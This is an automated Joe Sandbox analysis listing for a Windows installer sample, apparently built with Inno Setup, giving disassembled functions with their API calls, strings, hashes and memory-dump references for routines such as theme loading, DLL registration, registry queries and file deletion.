GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B2D3
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B2E5
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B2F7
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044B309
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044B31B
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044B32D
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044B33F
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044B351
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044B363
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044B375
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044B387
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044B399
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044B3AB
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044B3BD
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044B3CF
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044B3E1
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044B3F3
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044B405
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044B417
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044B429
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044B43B
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044B44D
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044B45F
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044B471
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044B483
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044B495
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044B4A7
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044B4B9
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044B4CB
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044B4DD
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044B4EF
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044B501
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044B513

Strings

SetWindowTheme, xrefs: 0044B3B5
GetThemeSysSize, xrefs: 0044B40F
GetThemeString, xrefs: 0044B301
GetThemeFont, xrefs: 0044B35B
GetThemeSysFont, xrefs: 0044B421
IsThemeBackgroundPartiallyTransparent, xrefs: 0044B2CB
GetCurrentThemeName, xrefs: 0044B4D5
GetThemeColor, xrefs: 0044B2DD
GetThemeInt, xrefs: 0044B325
GetThemePosition, xrefs: 0044B349
IsThemeActive, xrefs: 0044B457
uxtheme.dll, xrefs: 0044B1BA
GetThemeRect, xrefs: 0044B36D
GetThemeBool, xrefs: 0044B313
GetThemePropertyOrigin, xrefs: 0044B3A3
DrawThemeParentBackground, xrefs: 0044B4F9
GetThemeMargins, xrefs: 0044B37F
GetThemeTextExtent, xrefs: 0044B24D
GetThemeEnumValue, xrefs: 0044B337
DrawThemeEdge, xrefs: 0044B295
IsThemePartDefined, xrefs: 0044B2B9
IsThemeDialogTextureEnabled, xrefs: 0044B49F
GetThemeSysInt, xrefs: 0044B445
EnableThemeDialogTexture, xrefs: 0044B48D
IsAppThemed, xrefs: 0044B469
GetWindowTheme, xrefs: 0044B47B
OpenThemeData, xrefs: 0044B1CF
HitTestThemeBackground, xrefs: 0044B283
DrawThemeText, xrefs: 0044B205
GetThemeBackgroundRegion, xrefs: 0044B271
GetThemeDocumentationProperty, xrefs: 0044B4E7
DrawThemeBackground, xrefs: 0044B1F3
GetThemeSysColorBrush, xrefs: 0044B3EB
GetThemeBackgroundContentRect, xrefs: 0044B217, 0044B229
CloseThemeData, xrefs: 0044B1E1
GetThemePartSize, xrefs: 0044B23B
GetThemeFilename, xrefs: 0044B3C7
GetThemeIntList, xrefs: 0044B391
DrawThemeIcon, xrefs: 0044B2A7
GetThemeSysString, xrefs: 0044B433
EnableTheming, xrefs: 0044B50B
SetThemeAppProperties, xrefs: 0044B4C3
GetThemeSysColor, xrefs: 0044B3D9
GetThemeSysBool, xrefs: 0044B3FD
GetThemeAppProperties, xrefs: 0044B4B1
GetThemeTextMetrics, xrefs: 0044B25F
GetThemeMetric, xrefs: 0044B2EF

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1968650500-2910565190
Opcode ID: d7913233a9212312b157c999b7e4b85ca97687b31d7648bf52fda453b2fa86da
Instruction ID: 08ad650e451160eeff2e9a8798f972904cc626ec458b999fa3fe35c02a9039cb
Opcode Fuzzy Hash: d7913233a9212312b157c999b7e4b85ca97687b31d7648bf52fda453b2fa86da
Instruction Fuzzy Hash: AA91CFB0A40B50EFEF00EFF598C6A2636A8EB15B18B1545BBB444EF295D778C804CF59

Function 00456710 Relevance: 49.2, APIs: 11, Strings: 17, Instructions: 237filesynchronizationprocessCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00494AA4,00000001,00000000,00000000,00456A45,?,?,?,00000001,?,00456C5F,00000000,00456C75,?,00000000,00496628), ref: 0045675D
CreateFileMappingA.KERNEL32(000000FF,00494AA4,00000004,00000000,00002018,00000000), ref: 00456795
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00002018,00000000,00456A1B,?,00494AA4,00000001,00000000,00000000,00456A45,?,?,?), ref: 004567BC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 004568C9
ReleaseMutex.KERNEL32(00000000,00000000,00000002,00000000,00000000,00002018,00000000,00456A1B,?,00494AA4,00000001,00000000,00000000,00456A45), ref: 00456821

Part of subcall function 004521C4: GetLastError.KERNEL32(00000000,00452C35,00000005,00000000,00452C6A,?,?,00000000,00496628,00000004,00000000,00000000,00000000,?,00493575,00000000), ref: 004521C7

CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 004568E0
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 00456919
GetLastError.KERNEL32(00000000,000000FF,?,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 0045692B
UnmapViewOfFile.KERNEL32(00000000,00456A22,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 004569FD
CloseHandle.KERNEL32(00000000,00456A22,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 00456A0C
CloseHandle.KERNEL32(00000000,00456A22,00000000,00000000,00000000,00000000,00000001,04000000,00000000,00000000,00000044,?), ref: 00456A15

Strings

MapViewOfFile, xrefs: 004567CA
REGDLL returned unknown result code %d, xrefs: 004569DC
_isetup\_RegDLL.tmp, xrefs: 00456847
REGDLL mutex wait failed (%d, %d), xrefs: 0045693F
CreateMutex, xrefs: 0045676B
ReleaseMutex, xrefs: 0045682A
ulE, xrefs: 004567D4, 00456971, 004567E3, 00456995, 00456805, 004569F9, 0045695F, 00456949, 004569BA, 004567EC, 004567FA, 0045680B, 00456983
OleInitialize, xrefs: 00456965
CreateFileMapping, xrefs: 004567A3
GetProcAddress, xrefs: 00456989
LoadLibrary, xrefs: 00456977
_RegDLL.tmp %u %u, xrefs: 00456871
CreateProcess, xrefs: 004568D2
D, xrefs: 0045688A
REGDLL failed with exit code 0x%x, xrefs: 00456909
Spawning _RegDLL.tmp, xrefs: 0045673C
_lE, xrefs: 00456851, 004568B7, 00456854

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCreateFileHandle$ErrorLastMutexView$MappingObjectProcessReleaseSingleUnmapWait
String ID: CreateFileMapping$CreateMutex$CreateProcess$D$GetProcAddress$LoadLibrary$MapViewOfFile$OleInitialize$REGDLL failed with exit code 0x%x$REGDLL mutex wait failed (%d, %d)$REGDLL returned unknown result code %d$ReleaseMutex$Spawning _RegDLL.tmp$_RegDLL.tmp %u %u$_isetup\_RegDLL.tmp$_lE$ulE
API String ID: 4012871263-859896865
Opcode ID: 974b68a6b5560a5ad07791377e09aa7a55d158729e489fb9536c80890bbd4993
Instruction ID: 0bc5468dbf6c4b77da2dd734ecbb60747089e7e5c326fe29eb5729a3a51c4f10
Opcode Fuzzy Hash: 974b68a6b5560a5ad07791377e09aa7a55d158729e489fb9536c80890bbd4993
Instruction Fuzzy Hash: B4919270A002189FDB10EBA9C841B9EB7B4EB09305F51856BF904FB383D7789948CF69

Function 0041C97C Relevance: 33.2, APIs: 22, Instructions: 213windowCOMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,0041A8B4,?), ref: 0041C9B0
73A24C40.GDI32(?,00000000,?,0041A8B4,?), ref: 0041C9BC
73A26180.GDI32(0041A8B4,?,00000001,00000001,00000000,00000000,0041CBD2,?,?,00000000,?,0041A8B4,?), ref: 0041C9E0
73A24C00.GDI32(?,0041A8B4,?,00000000,0041CBD2,?,?,00000000,?,0041A8B4,?), ref: 0041C9F0
SelectObject.GDI32(0041CDAC,00000000), ref: 0041CA0B
FillRect.USER32(0041CDAC,?,?), ref: 0041CA46
SetTextColor.GDI32(0041CDAC,00000000), ref: 0041CA5B
SetBkColor.GDI32(0041CDAC,00000000), ref: 0041CA72
PatBlt.GDI32(0041CDAC,00000000,00000000,0041A8B4,?,00FF0062), ref: 0041CA88
73A24C40.GDI32(?,00000000,0041CB8B,?,0041CDAC,00000000,?,0041A8B4,?,00000000,0041CBD2,?,?,00000000,?,0041A8B4), ref: 0041CA9B
SelectObject.GDI32(00000000,00000000), ref: 0041CACC
73A18830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B,?,0041CDAC,00000000,?,0041A8B4), ref: 0041CAE4
73A122A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B,?,0041CDAC,00000000,?), ref: 0041CAED
73A18830.GDI32(0041CDAC,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B), ref: 0041CAFC
73A122A0.GDI32(0041CDAC,0041CDAC,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CB7A,?,?,00000000,0041CB8B), ref: 0041CB05
SetTextColor.GDI32(00000000,00000000), ref: 0041CB1E
SetBkColor.GDI32(00000000,00000000), ref: 0041CB35
73A24D40.GDI32(0041CDAC,00000000,00000000,0041A8B4,?,00000000,00000000,00000000,00CC0020,00000000,00000000,00000000,0041CB7A,?,?,00000000), ref: 0041CB51
SelectObject.GDI32(00000000,?), ref: 0041CB5E
DeleteDC.GDI32(00000000), ref: 0041CB74

Part of subcall function 00419FC8: GetSysColor.USER32(?), ref: 00419FD2

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Color$ObjectSelect$A122A18830Text$A26180A570DeleteFillRect
String ID:
API String ID: 1381628555-0
Opcode ID: 5ce4730595b9121447a1872f173f20d10d25d53d997ed037483a86544c508abe
Instruction ID: 7128b10ae0d2f5501f58bad1f60f679124a592cf14607d549707b49f1954e982
Opcode Fuzzy Hash: 5ce4730595b9121447a1872f173f20d10d25d53d997ed037483a86544c508abe
Instruction Fuzzy Hash: 5961FC71A44609ABDF10EBE5DC86FAFB7B8EF48704F10446AF504E7281C67CA9418B69

Function 0042DEBC Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178memorylibraryloaderCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00494788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DEF6
GetVersion.KERNEL32(00000000,0042E0A0,?,00494788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF13
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E0A0,?,00494788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF2C
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DF32
FreeSid.ADVAPI32(00000000,0042E0A7,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E09A

Strings

advapi32.dll, xrefs: 0042DF27
CheckTokenMembership, xrefs: 0042DF22

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressAllocateFreeHandleInitializeModuleProcVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 1717332306-1888249752
Opcode ID: 8969c824a6f45c363618cdff1c6be5cb78a1f9e32b4a9d86b8a6758cee11ddf9
Instruction ID: 5045d4bdae095839e21654112f0de3b8f2816e6eca6f617d5415efb28b53f152
Opcode Fuzzy Hash: 8969c824a6f45c363618cdff1c6be5cb78a1f9e32b4a9d86b8a6758cee11ddf9
Instruction Fuzzy Hash: 6151C571B44629AEDB10EAE69C42F7F77ECEB09304F94447BB500F7282C5BC9806866D

Function 004935A0 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 251synchronizationCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00000000,00493938,?,?,00000000,?,00000000,00000000,?,00493CC4,00000000,00493CCE,?,00000000), ref: 00493623
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00493938,?,?,00000000,?,00000000,00000000,?,00493CC4,00000000), ref: 00493636
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00493938,?,?,00000000,?,00000000,00000000), ref: 00493646
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00493667
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00493938,?,?,00000000,?,00000000), ref: 00493677

Part of subcall function 0042D328: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D3B6,?,?,00000000,?,?,00492F94,00000000,0049315D,?,?,00000005), ref: 0042D35D

Strings

/REGU, xrefs: 004935F9
.lst, xrefs: 004936B4
/REG, xrefs: 004935D5
.msg, xrefs: 0049369A
Inno-Setup-RegSvr-Mutex, xrefs: 0049362D
Setup, xrefs: 0049360F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-3672972446
Opcode ID: 27d943dc3ec51cb297f2457e7ad71318564f22296d6f0832dbcd1283a32e83c1
Instruction ID: 069f63a9bc373b1237d23f91b9d25b4e36a8de1e840b7ae5a548d8600e8c9c0e
Opcode Fuzzy Hash: 27d943dc3ec51cb297f2457e7ad71318564f22296d6f0832dbcd1283a32e83c1
Instruction Fuzzy Hash: BB91C470A04244AFDF11EFA5C856BAEBFE4EB4A305F5144B6F400AB791C67C9E05CB19

Function 00458F3C Relevance: 21.2, APIs: 2, Strings: 10, Instructions: 199COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,004591D6,?,?,?,?,?,00000006,?,00000000,004929D3,?,00000000,00492A76), ref: 00459088

Strings

.gid, xrefs: 00458F8C
.chm, xrefs: 00458FD8
Failed to strip read-only attribute., xrefs: 0045906D
Failed to delete the file; it may be in use (%d)., xrefs: 00459177
The file appears to be in use (%d). Will delete on restart., xrefs: 004590D1
Stripped read-only attribute., xrefs: 00459061
.chw, xrefs: 00458FF1
Deleting file: %s, xrefs: 00459027
.hlp, xrefs: 00458F73
.fts, xrefs: 00458FB0

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 1452528299-1593206319
Opcode ID: 4ca83c0c131cf7631de4174a92c74c5e1a58bd2534c8902a63655a9bf246fc88
Instruction ID: 0864155d01f34d7a91bcdf7f64c5104b46c5be8f648494af20f32c457a803b59
Opcode Fuzzy Hash: 4ca83c0c131cf7631de4174a92c74c5e1a58bd2534c8902a63655a9bf246fc88
Instruction Fuzzy Hash: E261D330B04255ABDB00EB69C8867AE77A5AF49719F90446BFC01EB383CB7C8D09C759

Function 0041B31C Relevance: 21.1, APIs: 14, Instructions: 126windowCOMMON

Download Yara Rule

APIs

73A24C40.GDI32(00000000,?,00000000,?), ref: 0041B333
73A24C40.GDI32(00000000,00000000,?,00000000,?), ref: 0041B33D
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B34F
73A26180.GDI32(0000000B,?,00000001,00000001,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B366
73A1A570.USER32(00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B372
73A24C00.GDI32(00000000,0000000B,?,00000000,0041B3CB,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B39F
73A1A480.USER32(00000000,00000000,0041B3D2,00000000,0041B3CB,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B3C5
SelectObject.GDI32(00000000,?), ref: 0041B3E0
SelectObject.GDI32(?,00000000), ref: 0041B3EF
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B41B
SelectObject.GDI32(00000000,00000000), ref: 0041B429
SelectObject.GDI32(?,00000000), ref: 0041B437
DeleteDC.GDI32(00000000), ref: 0041B440
DeleteDC.GDI32(?), ref: 0041B449

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Object$Select$Delete$A26180A480A570Stretch
String ID:
API String ID: 359944910-0
Opcode ID: e420a80018f5a27581da0c94fb8e2332c520fd2d58b05de39de388c6394c4d5d
Instruction ID: ef99a8f9a6f00624a9096b2aeeb37702e3b70ceb3a8cbf3cb68c8f3869cb2bd7
Opcode Fuzzy Hash: e420a80018f5a27581da0c94fb8e2332c520fd2d58b05de39de388c6394c4d5d
Instruction Fuzzy Hash: 1541D071E40619AFDF10DAE9D846FEFB7BCEF08704F104466B614FB281C67869408BA4

Function 0046EDBC Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 319COMMON

Download Yara Rule

APIs

Part of subcall function 0042C6E0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C704

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0046EF4F
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046F046
SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 0046F05C
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046F081

Strings

target.lnk, xrefs: 0046F0CB
{group}\, xrefs: 0046EE13
.pif, xrefs: 0046EE68, 0046EFCA
Filename: %s, xrefs: 0046EEF1
.lnk, xrefs: 0046EE45
.url, xrefs: 0046EE8B
Desktop.ini, xrefs: 0046F102

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
API String ID: 971782779-3668018701
Opcode ID: 529f7920ae01150bcd069fa40545394316d482a1096c5141e0bd5aef7471e155
Instruction ID: d95914f94fb186a895dd9bd55fd1341a8d835b278728754eb2ac591f97b8fe2a
Opcode Fuzzy Hash: 529f7920ae01150bcd069fa40545394316d482a1096c5141e0bd5aef7471e155
Instruction Fuzzy Hash: F0D13374A00249AFDB01DF95D882FDEBBF5AF08314F54506AF800B7392D678AE45CB69

Function 00453458 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegQueryValueExA.ADVAPI32(0045939E,00000000,00000000,?,00000000,?,00000000,004536F1,?,0045939E,00000003,00000000,00000000,00453728), ref: 00453571

Part of subcall function 0042E634: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451F9B,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E653

RegQueryValueExA.ADVAPI32(0045939E,00000000,00000000,00000000,?,00000004,00000000,0045363B,?,0045939E,00000000,00000000,?,00000000,?,00000000), ref: 004535F5
RegQueryValueExA.ADVAPI32(0045939E,00000000,00000000,00000000,?,00000004,00000000,0045363B,?,0045939E,00000000,00000000,?,00000000,?,00000000), ref: 00453624

Strings

Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 0045348F
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004534C8
RegOpenKeyEx, xrefs: 004534F4
, xrefs: 004534E2

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 0577be5c125f2955c6b4f9a8eb6fc0b50c24027f5aaff3dd9bd3d331dc1cfd74
Instruction ID: 5d87de93f9ec1944e446a630c4641d8f8463ec551cc6aa6a09b197ee9e23b8d1
Opcode Fuzzy Hash: 0577be5c125f2955c6b4f9a8eb6fc0b50c24027f5aaff3dd9bd3d331dc1cfd74
Instruction Fuzzy Hash: 10910275E04248BBDB11DF95C942BDEB7F9EB08346F50406BF900F7382D6789A098B69

Function 00457360 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00457397
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 004573B3
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 004573C1
GetExitCodeProcess.KERNEL32(?), ref: 004573D2
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00457419
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00457435

Strings

Helper process exited, but failed to get exit code., xrefs: 0045740B
Helper process exited with failure code: 0x%x, xrefs: 004573FF
Stopping 64-bit helper process. (PID: %u), xrefs: 00457389
Helper isn't responding; killing it., xrefs: 004573A3
Helper process exited., xrefs: 004573E1

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
